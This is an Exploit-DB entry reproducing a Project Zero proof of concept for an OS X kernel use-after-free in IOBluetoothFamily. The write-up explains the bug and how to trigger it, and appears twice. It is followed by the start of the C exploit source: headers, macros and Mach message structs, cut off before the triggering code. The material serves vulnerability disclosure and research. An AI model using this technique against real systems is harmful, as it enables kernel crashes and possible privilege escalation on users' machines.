Exploit-DB #40652
Description: Apple OS X Kernel - IOBluetoothFamily.kext Use-After-Free
Type: dos
Platform: osx
Date: 2016-10-31
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=830

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

// ianbeer

/*
OS X kernel use-after-free in IOBluetoothFamily.kext

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>


#define MACH_ERR(str, err) do { \
  if (err != KERN_SUCCESS) {    \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE);         \
  }                             \
} while(0)

#define FAIL(str) do { \
  printf("[-] " str "\n");  \
  exit(EXIT_FAILURE);  \
} while (0)

#define LOG(str) do { \
  printf("[+] " str"\n"); \
} while (0)

/***************
 * port dancer *
 ***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
  mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
  mach_msg_header_t  header;
} simple_msg_send_t;

typedef struct {
  mach_msg_header_t  header;
  mac